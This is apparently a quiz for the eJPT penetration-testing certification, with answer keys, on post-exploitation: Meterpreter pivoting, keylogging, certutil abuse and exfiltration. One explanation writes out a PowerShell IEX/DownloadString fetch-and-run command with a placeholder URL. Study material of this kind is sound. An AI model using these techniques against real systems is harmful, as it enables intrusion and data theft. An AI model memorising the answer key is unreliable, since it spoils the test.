eJPT Post-Exploitation Techniques 5 — Questions and Answers
Question 1: Which tool can be used to perform port forwarding through a Meterpreter session to reach internal services?
- portfwd (Correct answer)
- route add
- socks4a
- autoroute
Correct answer: portfwd
The `portfwd` command in Meterpreter creates local TCP port forwarding rules, allowing the attacker to connect to internal services via the compromised host.
Question 2: What is the difference between `autoroute` and `portfwd` in Metasploit pivoting?
- autoroute adds routes for Metasploit traffic to internal subnets; portfwd forwards specific local ports to target ports (Correct answer)
- autoroute is for UDP traffic; portfwd is for TCP only
- autoroute works only on Linux; portfwd works only on Windows
- They perform identical functions with different syntax
Correct answer: autoroute adds routes for Metasploit traffic to internal subnets; portfwd forwards specific local ports to target ports
Autoroute injects routing rules into Metasploit so all modules can reach internal subnets, while portfwd maps a single local port to a specific host/port on the internal network.
Question 3: Which Meterpreter command starts a keylogger on the compromised system?
- keyscan_start (Correct answer)
- keylog_recorder
- start_keylogger
- input_capture
Correct answer: keyscan_start
`keyscan_start` begins capturing keystrokes on the target, which can be retrieved later with `keyscan_dump` to harvest credentials or sensitive input.
Question 4: What is data exfiltration in post-exploitation?
- Removing malware from the system after testing
- Transferring stolen data from the compromised system to an attacker-controlled location (Correct answer)
- Decrypting encrypted files found on the target
- Scanning for additional vulnerabilities on the target
Correct answer: Transferring stolen data from the compromised system to an attacker-controlled location
Data exfiltration is the unauthorized transfer of sensitive files or information from a victim's system to infrastructure controlled by the attacker.
Question 5: Which Windows built-in tool can attackers use to exfiltrate files using HTTP/S without installing additional software?
- certutil (Correct answer)
- ipconfig
- netstat
- tasklist
Correct answer: certutil
Certutil can encode/decode files and download content over HTTP/S using its `-urlcache -split -f` flags, making it a living-off-the-land exfiltration tool.
Question 6: What is a 'living off the land' (LotL) technique in post-exploitation?
- Using zero-day exploits to compromise additional hosts
- Leveraging built-in OS tools and features to carry out attacks without dropping malware (Correct answer)
- Establishing a permanent backdoor using a custom implant
- Conducting reconnaissance using only passive techniques
Correct answer: Leveraging built-in OS tools and features to carry out attacks without dropping malware
LotL techniques abuse legitimate system tools like PowerShell, WMI, and certutil to perform malicious actions, reducing the attacker's footprint and evading AV detection.
Question 7: Which PowerShell command can an attacker use to download and execute a remote payload during post-exploitation?
- Invoke-Expression (IEX) with a Net.WebClient DownloadString call (Correct answer)
- Get-Process | Where-Object {$_.Name -eq 'explorer'}
- Set-ExecutionPolicy Restricted
- Get-EventLog -LogName Security
Correct answer: Invoke-Expression (IEX) with a Net.WebClient DownloadString call
Combining `IEX` with `(New-Object Net.WebClient).DownloadString('http://...')` downloads a remote script and immediately executes it in memory without writing to disk.
eJPT Post-Exploitation Techniques 5
Which tool can be used to perform port forwarding through a Meterpreter session to reach internal services?